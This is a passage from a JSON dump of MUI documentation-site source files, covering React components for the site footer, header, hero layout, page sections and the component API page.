    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nfunction SvgTwinkle(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={24}\n      height={24}\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        d=\"M19.46 8l.79-1.75L22 5.46a.5.5 0 000-.91l-1.75-.79L19.46 2a.5.5 0 00-.91 0l-.79 1.75-1.76.79a.5.5 0 000 .91l1.75.79.79 1.76c.18.39.74.39.92 0zM11.5 9.5L9.91 6c-.35-.78-1.47-.78-1.82 0L6.5 9.5 3 11.09c-.78.36-.78 1.47 0 1.82l3.5 1.59L8.09 18c.36.78 1.47.78 1.82 0l1.59-3.5 3.5-1.59c.78-.36.78-1.47 0-1.82L11.5 9.5zm7.04 6.5l-.79 1.75-1.75.79a.5.5 0 000 .91l1.75.79.79 1.76a.5.5 0 00.91 0l.79-1.75 1.76-.79a.5.5 0 000-.91l-1.75-.79-.79-1.76a.508.508 0 00-.92 0z\"\n        fill=\"#FFBC1F\"\n      />\n    </RootSvg>\n  );\n}\n\nexport default SvgTwinkle;\n"
  },
  {
    "path": "docs/src/layouts/AppFooter.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport Chip from '@mui/material/Chip';\nimport XIcon from '@mui/icons-material/X';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport YouTubeIcon from '@mui/icons-material/YouTube';\nimport RssFeedIcon from '@mui/icons-material/RssFeed';\nimport SvgMuiLogotype from 'docs/src/icons/SvgMuiLogotype';\nimport EmailSubscribe from 'docs/src/components/footer/EmailSubscribe';\nimport ROUTES from 'docs/src/route';\nimport { Link } from '@mui/docs/Link';\nimport SvgStackOverflow from 'docs/src/icons/SvgStackOverflow';\n\ninterface AppFooterProps {\n  stackOverflowUrl?: string;\n}\n\nexport default function AppFooter(props: AppFooterProps) {\n  const { stackOverflowUrl } = props;\n\n  return (\n    <Container component=\"footer\">\n      <Box\n        sx={{\n          py: { xs: 4, sm: 8 },\n          display: 'grid',\n          gridAutoColumns: '1fr',\n          alignItems: 'flex-start',\n          justifyContent: 'space-between',\n          gap: 4,\n          gridTemplateColumns: { xs: '1fr', sm: '1fr', md: '1fr 1.75fr', lg: '1fr 1fr' },\n          gridTemplateRows: 'auto',\n          '& a:not(.MuiIconButton-root)': {\n            pt: 0.5,\n            pb: 0.5,\n            color: 'text.secondary',\n            typography: 'body2',\n            '&:hover': {\n              color: 'primary.main',\n              textDecoration: 'underline',\n            },\n          },\n        }}\n      >\n        <div>\n          <Link prefetch={false} href=\"/\" aria-label=\"Go to homepage\" sx={{ mb: 2 }}>\n            <SvgMuiLogotype height={28} width={91} />\n          </Link>\n          <Typography variant=\"body2\" gutterBottom sx={{ fontWeight: 'semiBold' }}>\n            Keep up to date\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1 }}>\n            Join our newsletter for regular updates. No spam ever.\n          </Typography>\n          <EmailSubscribe />\n        </div>\n        <Box\n          sx={{\n            display: 'grid',\n            gridTemplateColumns: { xs: '1fr 1fr', md: '1fr 1fr 1fr 1fr' },\n            gridAutoColumns: '1fr',\n            gap: 2,\n          }}\n        >\n          <Box sx={{ display: 'flex', flexDirection: 'column' }}>\n            <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', mb: 0.5 }}>\n              Products\n            </Typography>\n            <Link prefetch={false} href={ROUTES.productMaterial}>\n              Material UI\n            </Link>\n            <Link href=\"https://base-ui.com\">Base UI</Link>\n            <Link prefetch={false} href={ROUTES.productAdvanced}>\n              MUI X\n            </Link>\n          </Box>\n          <Box sx={{ display: 'flex', flexDirection: 'column' }}>\n            <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', mb: 0.5 }}>\n              Resources\n            </Typography>\n            <Link prefetch={false} href={ROUTES.materialIcons}>\n              Material Icons\n            </Link>\n            <Link prefetch={false} href={ROUTES.freeTemplates}>\n              Templates\n            </Link>\n            <Link prefetch={false} href={ROUTES.components}>\n              Components\n            </Link>\n            <Link prefetch={false} href={ROUTES.customization}>\n              Customization\n            </Link>\n            <Link prefetch={false} href={ROUTES.productDesignKits}>\n              Design Kits\n            </Link>\n          </Box>\n          <Box sx={{ display: 'flex', flexDirection: 'column' }}>\n            <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', mb: 0.5 }}>\n              Explore\n            </Typography>\n            <Link prefetch={false} href={ROUTES.documentation}>\n              Documentation\n            </Link>\n            <Link prefetch={false} href={ROUTES.store}>\n              Store\n            </Link>\n            <Link prefetch={false} href={ROUTES.blog}>\n              Blog\n            </Link>\n            <Link prefetch={false} href={ROUTES.showcase}>\n              Showcase\n            </Link>\n            <Link prefetch={false} href={ROUTES.coreRoadmap}>\n              Roadmap\n            </Link>\n          </Box>\n          <Box sx={{ display: 'flex', flexDirection: 'column' }}>\n            <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', mb: 0.5 }}>\n              Company\n            </Typography>\n            <Link prefetch={false} href={ROUTES.about}>\n              About\n            </Link>\n            <Link prefetch={false} href={ROUTES.vision}>\n              Vision\n            </Link>\n            <Box sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n              <Link prefetch={false} href={ROUTES.careers}>\n                Careers{' '}\n              </Link>\n              <Chip\n                size=\"small\"\n                variant=\"outlined\"\n                color=\"success\"\n                label=\"Hiring\"\n                sx={(theme) => ({\n                  height: 18,\n                  '& .MuiChip-label': {\n                    px: '4px',\n                    fontSize: theme.typography.pxToRem(10),\n                    fontWeight: 'bold',\n                    textTransform: 'uppercase',\n                    letterSpacing: '.04rem',\n                  },\n                })}\n              />\n            </Box>\n            <Link prefetch={false} href={ROUTES.support}>\n              Support\n            </Link>\n            <Link prefetch={false} href={ROUTES.privacyPolicy}>\n              Privacy policy\n            </Link>\n            <Link prefetch={false} target=\"_blank\" rel=\"noopener\" href=\"mailto:contact@mui.com\">\n              Contact us\n            </Link>\n          </Box>\n        </Box>\n      </Box>\n      <Divider />\n      <Stack\n        direction={{ xs: 'column', sm: 'row' }}\n        sx={{\n          alignItems: 'center',\n          justifyContent: { sm: 'space-between' },\n          gap: { xs: 2, sm: 1 },\n          my: 4,\n        }}\n      >\n        <Typography variant=\"caption\" sx={{ color: 'text.tertiary', fontWeight: 400 }}>\n          Copyright © {new Date().getFullYear()} Material UI SAS, trading as MUI.\n        </Typography>\n        <Stack spacing={1} direction=\"row\" useFlexGap sx={{ flexWrap: 'wrap' }}>\n          <IconButton\n            target=\"_blank\"\n            rel=\"noopener\"\n            href=\"https://github.com/mui\"\n            aria-label=\"github\"\n            title=\"GitHub\"\n            size=\"small\"\n          >\n            <GitHubIcon fontSize=\"small\" />\n          </IconButton>\n          <IconButton\n            target=\"_blank\"\n            rel=\"noopener\"\n            href={ROUTES.rssFeed}\n            aria-label=\"RSS Feed\"\n            title=\"RSS Feed\"\n            size=\"small\"\n          >\n            <RssFeedIcon fontSize=\"small\" />\n          </IconButton>\n          <IconButton\n            target=\"_blank\"\n            rel=\"noopener\"\n            href=\"https://x.com/MUI_hq\"\n            aria-label=\"X/twitter\"\n            title=\"X\"\n            size=\"small\"\n          >\n            <XIcon fontSize=\"small\" />\n          </IconButton>\n          <IconButton\n            target=\"_blank\"\n            rel=\"noopener\"\n            href=\"https://www.linkedin.com/company/mui/\"\n            aria-label=\"linkedin\"\n            title=\"LinkedIn\"\n            size=\"small\"\n          >\n            <LinkedInIcon fontSize=\"small\" />\n          </IconButton>\n          <IconButton\n            target=\"_blank\"\n            rel=\"noopener\"\n            href=\"https://www.youtube.com/@MUI_hq\"\n            aria-label=\"YouTube\"\n            title=\"YouTube\"\n            size=\"small\"\n          >\n            <YouTubeIcon fontSize=\"small\" />\n          </IconButton>\n          {stackOverflowUrl ? (\n            <IconButton\n              target=\"_blank\"\n              rel=\"noopener\"\n              href={stackOverflowUrl}\n              aria-label=\"Stack Overflow\"\n              title=\"Stack Overflow\"\n              size=\"small\"\n            >\n              <SvgStackOverflow fontSize=\"small\" />\n            </IconButton>\n          ) : null}\n        </Stack>\n      </Stack>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/src/layouts/AppHeader.tsx",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Container from '@mui/material/Container';\nimport Tooltip from '@mui/material/Tooltip';\nimport IconButton from '@mui/material/IconButton';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LogoWithCopyMenu from 'docs/src/components/action/LogoWithCopyMenu';\nimport HeaderNavBar from 'docs/src/components/header/HeaderNavBar';\nimport HeaderNavDropdown from 'docs/src/components/header/HeaderNavDropdown';\nimport ThemeModeToggle from 'docs/src/components/header/ThemeModeToggle';\nimport { DeferredAppSearch } from 'docs/src/modules/components/AppFrame';\nimport { useTranslate } from '@mui/docs/i18n';\n\nconst Header = styled('header')(({ theme }) => [\n  {\n    position: 'sticky',\n    top: 0,\n    transition: theme.transitions.create('top'),\n    zIndex: theme.zIndex.appBar,\n    backgroundColor: 'rgba(255,255,255,0.8)',\n    backdropFilter: 'blur(8px)',\n    borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n  } as const,\n  theme.applyDarkStyles({\n    backgroundColor: alpha(theme.palette.primaryDark[900], 0.7),\n  }),\n]);\n\nconst HEIGHT = 60;\n\ninterface AppHeaderProps {\n  gitHubRepository?: string;\n}\n\nexport default function AppHeader(props: AppHeaderProps) {\n  const { gitHubRepository = 'https://github.com/mui' } = props;\n  const t = useTranslate();\n\n  return (\n    <Header>\n      <GlobalStyles\n        styles={{\n          ':root': {\n            '--MuiDocs-header-height': `${HEIGHT}px`,\n          },\n        }}\n      />\n      <Container sx={{ display: 'flex', alignItems: 'center', minHeight: HEIGHT }}>\n        <LogoWithCopyMenu />\n        <Box sx={{ display: { xs: 'none', md: 'initial' } }}>\n          <HeaderNavBar />\n        </Box>\n        <Box sx={{ ml: 'auto' }} />\n        <Stack direction=\"row\" spacing={1}>\n          <DeferredAppSearch />\n          <Tooltip title={t('appFrame.github')} enterDelay={300}>\n            <IconButton\n              component=\"a\"\n              color=\"primary\"\n              size=\"small\"\n              href={gitHubRepository}\n              target=\"_blank\"\n              rel=\"noopener\"\n              data-ga-event-category=\"header\"\n              data-ga-event-action=\"github\"\n            >\n              <GitHubIcon fontSize=\"small\" />\n            </IconButton>\n          </Tooltip>\n          <ThemeModeToggle />\n        </Stack>\n        <Box sx={{ display: { md: 'none' }, ml: 1 }}>\n          <HeaderNavDropdown />\n        </Box>\n      </Container>\n    </Header>\n  );\n}\n"
  },
  {
    "path": "docs/src/layouts/HeroContainer.tsx",
    "content": "import * as React from 'react';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Grid from '@mui/material/Grid';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/utils';\nimport { alpha } from '@mui/material/styles';\n\ninterface HeroContainerProps {\n  disableMobileHidden?: boolean;\n  disableTabExclusion?: boolean;\n  left: React.ReactElement<unknown>;\n  linearGradient?: boolean;\n  right: React.ReactElement<unknown>;\n  rightSx?: BoxProps['sx'];\n}\n\nexport default function HeroContainer(props: HeroContainerProps) {\n  const {\n    disableMobileHidden,\n    disableTabExclusion = false,\n    left,\n    linearGradient,\n    right,\n    rightSx,\n  } = props;\n  const frame = React.useRef<HTMLDivElement>(null);\n\n  useEnhancedEffect(() => {\n    let obs: undefined | MutationObserver;\n    function suppressTabIndex() {\n      if (!disableTabExclusion) {\n        const elements = frame.current!.querySelectorAll(\n          'a, button, input, textarea, select, details, [tabindex]:not([tabindex=\"-1\"])',\n        );\n        elements.forEach((elm) => {\n          elm.setAttribute('tabindex', '-1');\n        });\n      }\n    }\n    if (typeof MutationObserver !== 'undefined' && frame.current) {\n      obs = new MutationObserver(suppressTabIndex);\n      obs.observe(frame.current, { childList: true, subtree: true });\n    }\n    return () => {\n      if (obs) {\n        obs.disconnect();\n      }\n    };\n  }, [disableTabExclusion]);\n\n  const renderRightWrapper = (sx?: BoxProps['sx']) => (\n    <Box\n      ref={frame}\n      aria-hidden={disableTabExclusion ? undefined : 'true'}\n      sx={[\n        (theme) => ({\n          minWidth: '50vw',\n          minHeight: { xs: 'auto', sm: 500 },\n          height: 'calc(100vh - 120px)',\n          maxHeight: { md: 700, xl: 850 },\n          borderBottomLeftRadius: 12,\n          transition: 'max-height 0.3s',\n          position: 'relative',\n          overflow: 'hidden',\n          borderLeft: '1px solid',\n          borderBottom: '1px solid',\n          borderColor: 'divider',\n          ...(linearGradient && {\n            background: `radial-gradient(farthest-corner circle at 0% 0%, ${\n              (theme.vars || theme).palette.grey[50]\n            } 0%, ${(theme.vars || theme).palette.primary[50]} 100%)`,\n          }),\n        }),\n        (theme) =>\n          theme.applyDarkStyles({\n            background: 'primaryDark.900',\n            borderColor: 'primaryDark.700',\n            ...(linearGradient && {\n              background: `radial-gradient(farthest-corner circle at 0% 0%, ${alpha(\n                theme.palette.primary[900],\n                0.2,\n              )} 0%, ${(theme.vars || theme).palette.primaryDark[900]} 100%)`,\n            }),\n          }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n        ...(Array.isArray(rightSx) ? rightSx : [rightSx]),\n      ]}\n    >\n      {right}\n    </Box>\n  );\n  if (disableMobileHidden) {\n    return (\n      <Box sx={{ overflow: 'hidden' }}>\n        <Container\n          sx={{\n            minHeight: { xs: 'auto', sm: 500 },\n            height: { md: 'calc(100vh - 120px)' },\n            maxHeight: { md: 700, xl: 850 },\n            transition: '0.3s',\n          }}\n        >\n          <Grid container sx={{ alignItems: 'center', height: '100%', mx: 'auto' }}>\n            <Grid\n              sx={{\n                display: { xs: 'flex', md: 'block' },\n                minHeight: { xs: 500, sm: 700, md: 'initial' },\n                m: 'auto',\n                '& > *': {\n                  m: { xs: 'auto', md: 'initial' },\n                },\n              }}\n              size={{\n                xs: 12,\n                md: 7,\n                lg: 6,\n              }}\n            >\n              {left}\n            </Grid>\n            <Grid\n              sx={{ maxHeight: '100%' }}\n              size={{\n                xs: 12,\n                md: 5,\n                lg: 6,\n              }}\n            >\n              {renderRightWrapper({\n                height: {\n                  xs: 'initial',\n                  md: 'calc(100vh - 120px)',\n                },\n                borderLeftWidth: { xs: 0, md: 1 },\n                borderBottomLeftRadius: { xs: 0, md: 12 },\n                mx: { xs: -2, sm: -3, md: 'initial' },\n              })}\n            </Grid>\n          </Grid>\n        </Container>\n      </Box>\n    );\n  }\n\n  return (\n    <Box sx={{ overflow: 'hidden' }}>\n      <Container\n        sx={{\n          pt: { xs: 8, md: 0 },\n          minHeight: { xs: 'auto', md: 500 },\n          height: { md: 'calc(100vh - 120px)' },\n          maxHeight: { md: 700, xl: 850 },\n          transition: '0.3s',\n        }}\n      >\n        <Grid\n          container\n          sx={{ alignItems: 'center', flexWrap: 'nowrap', height: '100%', mx: 'auto' }}\n        >\n          <Grid\n            sx={{ m: 'auto' }}\n            size={{\n              md: 7,\n              lg: 6,\n            }}\n          >\n            {left}\n          </Grid>\n          <Grid\n            sx={{ maxHeight: '100%', display: { xs: 'none', md: 'initial' } }}\n            size={{\n              md: 5,\n              lg: 6,\n            }}\n          >\n            {renderRightWrapper()}\n          </Grid>\n        </Grid>\n      </Container>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/layouts/Section.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport { alpha } from '@mui/material/styles';\n\ninterface SelectionProps extends BoxProps {\n  bg?: 'white' | 'comfort' | 'dim' | 'gradient' | 'transparent';\n  /**\n   * Less vertical spacing\n   */\n  cozy?: boolean;\n  noPaddingBottom?: boolean;\n}\n\nconst map = {\n  white: {\n    light: 'common.white',\n    dark: 'primaryDark.900',\n  },\n  comfort: {\n    light: 'grey.50',\n    dark: 'primaryDark.900',\n  },\n  dim: {\n    light: 'primaryDark.700',\n    dark: 'primaryDark.700',\n  },\n  transparent: {\n    light: 'transparent',\n    dark: 'transparent',\n  },\n};\n\nconst Section = React.forwardRef<HTMLDivElement, SelectionProps>(function Section(props, ref) {\n  const { bg = 'white', children, sx, cozy = false, noPaddingBottom = false, ...other } = props;\n\n  return (\n    <Box\n      ref={ref}\n      {...other}\n      sx={[\n        (theme) => ({\n          ...(bg === 'gradient'\n            ? {\n                background: `linear-gradient(#FFF 0%, ${\n                  (theme.vars || theme).palette.primary[50]\n                } 100%)`,\n                ...theme.applyDarkStyles({\n                  background: `linear-gradient(${\n                    (theme.vars || theme).palette.primaryDark[900]\n                  } 0%, ${alpha(theme.palette.primary[900], 0.2)} 100%)`,\n                }),\n              }\n            : {\n                bgcolor: map[bg].light,\n                ...theme.applyDarkStyles({\n                  bgcolor: map[bg].dark,\n                }),\n              }),\n          py: cozy ? { xs: 6, sm: 10, md: 12 } : { xs: 4, sm: 12, md: 14 },\n          pb: noPaddingBottom ? '0 !important' : undefined,\n          overflow: 'hidden',\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n    >\n      <Container>{children}</Container>\n    </Box>\n  );\n});\n\nexport default Section;\n"
  },
  {
    "path": "docs/src/modules/components/Ad.tsx",
    "content": "// Backwards compatibility for Toolpad.\n// TODO: remove when Toolpad migrated to `@mui/docs/i18n`\n\nexport { Ad as default } from '@mui/docs/Ad';\n"
  },
  {
    "path": "docs/src/modules/components/ApiDivider.js",
    "content": "import MuiDivider from '@mui/material/Divider';\n\nexport default function Divider() {\n  return (\n    <MuiDivider\n      sx={{ borderBottomWidth: 2, borderBottomStyle: 'dashed', borderBottomColor: 'divider' }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/ApiPage.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { ComponentApiContent, PropsTranslations } from '@mui-internal/api-docs-builder';\nimport exactProp from '@mui/utils/exactProp';\nimport Typography from '@mui/material/Typography';\nimport Alert from '@mui/material/Alert';\nimport { Ad, AdGuest } from '@mui/docs/Ad';\nimport type { TableOfContentsParams, LayoutStorageKeys } from '@mui/docs/ApiPage';\nimport VerifiedRoundedIcon from '@mui/icons-material/VerifiedRounded';\nimport WarningRoundedIcon from '@mui/icons-material/WarningRounded';\nimport { Translate, useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport { BrandingProvider, BrandingCssVarsProvider } from '@mui/docs/branding';\nimport { SectionTitle, SectionTitleProps } from '@mui/docs/SectionTitle';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport AppLayoutDocs from 'docs/src/modules/components/AppLayoutDocs';\nimport {\n  ApiDisplayLayout,\n  DEFAULT_API_LAYOUT_STORAGE_KEYS,\n  getPropsApiDefinitions,\n  getPropertiesToc,\n  getClassApiDefinitions,\n  getClassesToc,\n  getSlotsApiDefinitions,\n  getSlotsToc,\n  PropertiesSection,\n  SlotsSection,\n  ClassesSection,\n} from '@mui/docs/ApiPage/private';\n\ntype ApiHeaderKeys =\n  | 'demos'\n  | 'import'\n  | 'props'\n  | 'theme-default-props'\n  | 'inheritance'\n  | 'slots'\n  | 'classes'\n  | 'css'\n  | 'source-code';\n\nexport function getTranslatedHeader(t: Translate, header: ApiHeaderKeys) {\n  const translations = {\n    demos: t('api-docs.demos'),\n    import: t('api-docs.import'),\n    props: t('api-docs.props'),\n    'theme-default-props': t('api-docs.themeDefaultProps'),\n    inheritance: t('api-docs.inheritance'),\n    slots: t('api-docs.slots'),\n    classes: t('api-docs.classes'),\n    css: t('api-docs.css'),\n    'source-code': t('api-docs.source-code'),\n  };\n\n  // TODO Drop runtime type-checking once we type-check this file\n  if (!translations.hasOwnProperty(header)) {\n    throw new TypeError(\n      `Unable to translate header '${header}'. Did you mean one of '${Object.keys(\n        translations,\n      ).join(\"', '\")}'`,\n    );\n  }\n\n  return translations[header] || header;\n}\n\nfunction Heading(props: Pick<SectionTitleProps<ApiHeaderKeys>, 'hash' | 'level'>) {\n  const { hash, level = 'h2' } = props;\n  const t = useTranslate();\n  return <SectionTitle title={getTranslatedHeader(t, hash)} hash={hash} level={level} />;\n}\n\nHeading.propTypes = {\n  hash: PropTypes.string.isRequired,\n  level: PropTypes.string,\n};\n\ninterface ApiPageProps {\n  descriptions: {\n    [lang: string]: PropsTranslations & {\n      // Table of Content added by the mapApiPageTranslations function\n      componentDescriptionToc: TableOfContentsParams[];\n    };\n  };\n  disableAd?: boolean;\n  pageContent: ComponentApiContent;\n  defaultLayout?: ApiDisplayLayout;\n  /**\n   * The localStorage key used to save the user layout for each section.\n   * It's useful to dave different preferences on different pages.\n   * For example, the data grid has a different key that the core.\n   */\n  layoutStorageKey?: LayoutStorageKeys;\n}\nexport default function ApiPage(props: ApiPageProps) {\n  const {\n    descriptions,\n    disableAd = false,\n    pageContent,\n    defaultLayout = 'table',\n    layoutStorageKey = DEFAULT_API_LAYOUT_STORAGE_KEYS,\n  } = props;\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n\n  const {\n    cssComponent,\n    demos,\n    deprecated,\n    filename,\n    forwardsRefTo,\n    inheritance,\n    props: componentProps,\n    spread,\n    slots: componentSlots = [],\n    classes,\n  } = pageContent;\n\n  const componentClasses = Array.isArray(classes)\n    ? [...classes].sort((c1, c2) => c1.className.localeCompare(c2.className))\n    : [];\n\n  const defaultPropsLink = '/material-ui/customization/theme-components/#theme-default-props';\n  const styleOverridesLink = '/material-ui/customization/theme-components/#theme-style-overrides';\n\n  const {\n    componentDescription,\n    componentDescriptionToc = [],\n    classDescriptions,\n    deprecationInfo,\n    propDescriptions,\n    slotDescriptions = {},\n  } = descriptions[userLanguage];\n  const description = t('api-docs.pageDescription').replace(/{{name}}/, pageContent.name);\n\n  // Prefer linking the .tsx or .d.ts for the \"Edit this page\" link.\n  const apiSourceLocation = filename.replace('.js', '.d.ts');\n\n  // Merge data and translation\n  const propertiesDef = getPropsApiDefinitions({\n    componentName: pageContent.name,\n    properties: componentProps,\n    propertiesDescriptions: propDescriptions,\n  });\n  const classesDef = getClassApiDefinitions({\n    componentClasses,\n    componentName: pageContent.name,\n    classDescriptions,\n  });\n  const slotsDef = getSlotsApiDefinitions({\n    componentSlots,\n    componentName: pageContent.name,\n    slotDescriptions,\n  });\n\n  function createTocEntry(sectionName: ApiHeaderKeys): TableOfContentsParams {\n    return {\n      text: getTranslatedHeader(t, sectionName),\n      hash: sectionName,\n      children: [\n        ...(sectionName === 'props' && inheritance\n          ? [{ text: t('api-docs.inheritance'), hash: 'inheritance', children: [] }]\n          : ([] as TableOfContentsParams[])),\n        ...(sectionName === 'props' && pageContent.themeDefaultProps\n          ? [{ text: t('api-docs.themeDefaultProps'), hash: 'theme-default-props', children: [] }]\n          : ([] as TableOfContentsParams[])),\n      ],\n    };\n  }\n\n  const toc: TableOfContentsParams[] = [\n    createTocEntry('demos'),\n    createTocEntry('import'),\n    ...componentDescriptionToc,\n    getPropertiesToc({ properties: propertiesDef, hash: 'props', t }),\n    ...getSlotsToc({ slots: slotsDef, t }),\n    ...getClassesToc({ classes: classesDef, t }),\n    pageContent.filename ? createTocEntry('source-code') : null,\n  ].filter((item): item is TableOfContentsParams => Boolean(item));\n\n  // The `ref` is forwarded to the root element.\n  let refHint = t('api-docs.refRootElement');\n  if (forwardsRefTo == null) {\n    // The component cannot hold a ref.\n    refHint = t('api-docs.refNotHeld');\n  }\n\n  let spreadHint = '';\n  if (spread) {\n    // Any other props supplied will be provided to the root element ({{spreadHintElement}}).\n    spreadHint = t('api-docs.spreadHint').replace(\n      /{{spreadHintElement}}/,\n      inheritance\n        ? `<a href=\"${inheritance.pathname}\">${inheritance.component}</a>`\n        : t('api-docs.nativeElement'),\n    );\n  }\n\n  let inheritanceSuffix = '';\n  if (inheritance && inheritance.component === 'Transition') {\n    inheritanceSuffix = t('api-docs.inheritanceSuffixTransition');\n  }\n\n  return (\n    <BrandingCssVarsProvider>\n      <AppLayoutDocs\n        description={description}\n        disableAd={disableAd}\n        disableToc={false}\n        location={apiSourceLocation}\n        title={`${pageContent.name} API`}\n        toc={toc}\n      >\n        <MarkdownElement>\n          <h1>{pageContent.name} API</h1>\n          {deprecated ? (\n            <Alert\n              severity=\"warning\"\n              icon={<WarningRoundedIcon fontSize=\"small\" />}\n              sx={{ mt: 1.5, mb: 3 }}\n            >\n              <div\n                dangerouslySetInnerHTML={{\n                  __html: deprecationInfo || t('api-docs.defaultDeprecationMessage'),\n                }}\n              />\n            </Alert>\n          ) : null}\n          <Typography variant=\"h5\" component=\"p\" className=\"description\" gutterBottom>\n            {description}\n            {disableAd ? null : (\n              <BrandingProvider>\n                <AdGuest>\n                  <Ad />\n                </AdGuest>\n              </BrandingProvider>\n            )}\n          </Typography>\n          <Heading hash=\"demos\" />\n          <Alert severity=\"success\" icon={<VerifiedRoundedIcon fontSize=\"small\" />}>\n            <div\n              dangerouslySetInnerHTML={{\n                __html: `<p>For examples and details on the usage of this React component, visit the component demo pages:</p>\n              ${demos}`,\n              }}\n            />\n          </Alert>\n          <Heading hash=\"import\" />\n          <HighlightedCode\n            code={pageContent.imports.join(`\n// ${t('or')}\n`)}\n            language=\"jsx\"\n          />\n          {pageContent.imports.length > 1 && (\n            <p dangerouslySetInnerHTML={{ __html: t('api-docs.importDifference') }} />\n          )}\n          {componentDescription ? (\n            <React.Fragment>\n              <br />\n              <br />\n              <div\n                dangerouslySetInnerHTML={{\n                  __html: componentDescription,\n                }}\n              />\n            </React.Fragment>\n          ) : null}\n          <PropertiesSection\n            properties={propertiesDef}\n            spreadHint={spreadHint}\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.props}\n          />\n          {cssComponent && (\n            <React.Fragment>\n              <div\n                dangerouslySetInnerHTML={{\n                  __html: t('api-docs.cssComponent').replace(/{{name}}/, pageContent.name),\n                }}\n              />\n              <br />\n              <br />\n            </React.Fragment>\n          )}\n          <div\n            className=\"MuiCallout-root MuiCallout-info\"\n            dangerouslySetInnerHTML={{ __html: refHint }}\n            style={{\n              alignItems: 'baseline',\n              gap: '4px',\n              marginTop: 0,\n            }}\n          />\n          {inheritance && (\n            <React.Fragment>\n              <Heading hash=\"inheritance\" level=\"h3\" />\n              <p\n                dangerouslySetInnerHTML={{\n                  __html: t('api-docs.inheritanceDescription')\n                    .replace(/{{component}}/, inheritance.component)\n                    .replace(/{{pathname}}/, inheritance.pathname)\n                    .replace(/{{suffix}}/, inheritanceSuffix)\n                    .replace(/{{name}}/, pageContent.name),\n                }}\n              />\n            </React.Fragment>\n          )}\n          {pageContent.themeDefaultProps && (\n            <React.Fragment>\n              <Heading hash=\"theme-default-props\" level=\"h3\" />\n              <p\n                dangerouslySetInnerHTML={{\n                  __html: t('api-docs.themeDefaultPropsDescription')\n                    .replace(/{{muiName}}/, pageContent.muiName)\n                    .replace(/{{defaultPropsLink}}/, defaultPropsLink),\n                }}\n              />\n            </React.Fragment>\n          )}\n          {/* Fallback anchor for #classes link when there's no classes section */}\n          {classesDef.length === 0 && <span id=\"classes\" />}\n          <SlotsSection\n            slots={slotsDef}\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.slots}\n          />\n          <ClassesSection\n            classes={classesDef}\n            spreadHint={t('api-docs.classesDescription')}\n            styleOverridesLink={styleOverridesLink}\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.classes}\n            displayClassKeys\n          />\n\n          <Heading hash=\"source-code\" level=\"h2\" />\n          <p\n            dangerouslySetInnerHTML={{\n              __html: t('api-docs.seeSourceCode').replace(\n                '{{href}}',\n                `${process.env.SOURCE_CODE_REPO}/blob/v${process.env.LIB_VERSION}${pageContent.filename}`,\n              ),\n            }}\n          />\n        </MarkdownElement>\n        <svg style={{ display: 'none' }} xmlns=\"http://www.w3.org/2000/svg\">\n          <symbol id=\"anchor-link-icon\" viewBox=\"0 0 12 6\">\n            <path d=\"M8.9176 0.083252H7.1676C6.84677 0.083252 6.58427 0.345752 6.58427 0.666585C6.58427 0.987419 6.84677 1.24992 7.1676 1.24992H8.9176C9.8801 1.24992 10.6676 2.03742 10.6676 2.99992C10.6676 3.96242 9.8801 4.74992 8.9176 4.74992H7.1676C6.84677 4.74992 6.58427 5.01242 6.58427 5.33325C6.58427 5.65409 6.84677 5.91659 7.1676 5.91659H8.9176C10.5276 5.91659 11.8343 4.60992 11.8343 2.99992C11.8343 1.38992 10.5276 0.083252 8.9176 0.083252ZM3.6676 2.99992C3.6676 3.32075 3.9301 3.58325 4.25094 3.58325H7.75094C8.07177 3.58325 8.33427 3.32075 8.33427 2.99992C8.33427 2.67909 8.07177 2.41659 7.75094 2.41659H4.25094C3.9301 2.41659 3.6676 2.67909 3.6676 2.99992ZM4.83427 4.74992H3.08427C2.12177 4.74992 1.33427 3.96242 1.33427 2.99992C1.33427 2.03742 2.12177 1.24992 3.08427 1.24992H4.83427C5.1551 1.24992 5.4176 0.987419 5.4176 0.666585C5.4176 0.345752 5.1551 0.083252 4.83427 0.083252H3.08427C1.47427 0.083252 0.167603 1.38992 0.167603 2.99992C0.167603 4.60992 1.47427 5.91659 3.08427 5.91659H4.83427C5.1551 5.91659 5.4176 5.65409 5.4176 5.33325C5.4176 5.01242 5.1551 4.74992 4.83427 